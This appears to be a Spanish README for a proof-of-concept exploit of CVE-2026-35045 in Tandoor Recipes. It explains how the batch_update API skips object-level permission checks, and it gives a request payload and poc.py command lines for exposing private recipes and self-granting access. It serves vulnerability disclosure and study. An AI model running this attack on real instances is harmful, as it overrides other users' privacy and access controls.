
Prueba de concepto de exploit para CVE-2026-35045, una vulnerabilidad de autorización rota a nivel de objeto en Tandoor Recipes, que demuestra la modificación no autorizada de recetas a través del endpoint de API batch_update.
El endpoint PUT /api/recipe/batch_update/ en Tandoor Recipes v2.6.1 permite que cualquier usuario autenticado dentro de un Espacio modifique cualquier receta de ese Espacio, incluidas las recetas privadas propiedad de otros usuarios. Esto elude por completo las comprobaciones de autorización a nivel de objeto aplicadas en todos los endpoints estándar de recetas individuales.
La causa raíz es una brecha de comportamiento de Django REST Framework: las acciones de lista con detail=False nunca invocan has_object_permission(), solo has_permission(). El queryset filtra únicamente por space=request.space, sin comprobar created_by, private ni la lista shared. Un atacante puede exponer a la fuerza recetas privadas, auto-concederse acceso persistente, revocar permisos de otros usuarios y manipular metadatos, todo en una única llamada API que devuelve HTTP 200 OK con cuerpo vacío.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Omisión de Autorización Mediante Clave Controlada por el Usuario |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Versión Afectada | Tandoor Recipes ≤ 2.6.1 |
| Proveedor | TandoorRecipes/recipes |
| ID de Técnica | Nombre | Relevancia |
|---|---|---|
| T1078 | Cuentas Válidas | El atacante usa credenciales legítimas de bajo privilegio para eludir la autorización |
| T1565.001 | Manipulación de Datos Almacenados | Modificación de recetas privadas y ACL propiedad de otros usuarios |
detail=False Omite las Comprobaciones de Permisos a Nivel de ObjetoArchivo: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Sin comprobación de created_by ni private
)
En Django REST Framework, las acciones registradas con detail=False son acciones de lista. Nunca llaman a get_object(), lo que significa que check_object_permissions() y CustomRecipePermission.has_object_permission() nunca se invocan. Solo se ejecuta has_permission(), que verifica la pertenencia al Espacio, no la propiedad de la receta.
PUT /api/recipe/{id}/ sigue el flujo completo de permisos de DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ deniega el acceso si la receta es privada y no es propiedad del solicitante ni está compartida con él
El endpoint batch_update omite silenciosamente toda esta cadena.
RecipeBatchUpdateSerializer expone los siguientes campos, escribibles en cualquier receta del Espacio:
| Campo | Efecto |
|---|---|
private | Alternar la visibilidad de la receta |
shared_add / shared_remove / shared_set | Manipular la lista de control de acceso |
keywords_add / keywords_remove / keywords_set | Alterar los metadatos de la receta |
working_time / waiting_time | Modificar los datos de tiempo de la receta |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Atacante │ ─────────────────────────────────────→│ Servidor Tandoor│
│ (Usuario B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Miembro del │
│ Espacio) │
│ │
│ has_object_ │
│ permission() │
│ ✗ NUNCA SE │
│ LLAMA │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Sin comprobación de propiedad
│
▼
┌────────────────┐
│ Receta ID 2 │
│ (propiedad de A)│
│ private=false ← parcheada
│ shared=[2] ← auto-concedida
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Atacante (B) │
│ ahora tiene │
│ acceso total │
│ a la Receta ID 2│
└────────────────┘
requestspip install requests
# Forzar la exposición de una receta privada y auto-concederse acceso (por defecto)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Solo forzar exposición (establecer private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Solo auto-concesión (añadir a la lista shared, mantener private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant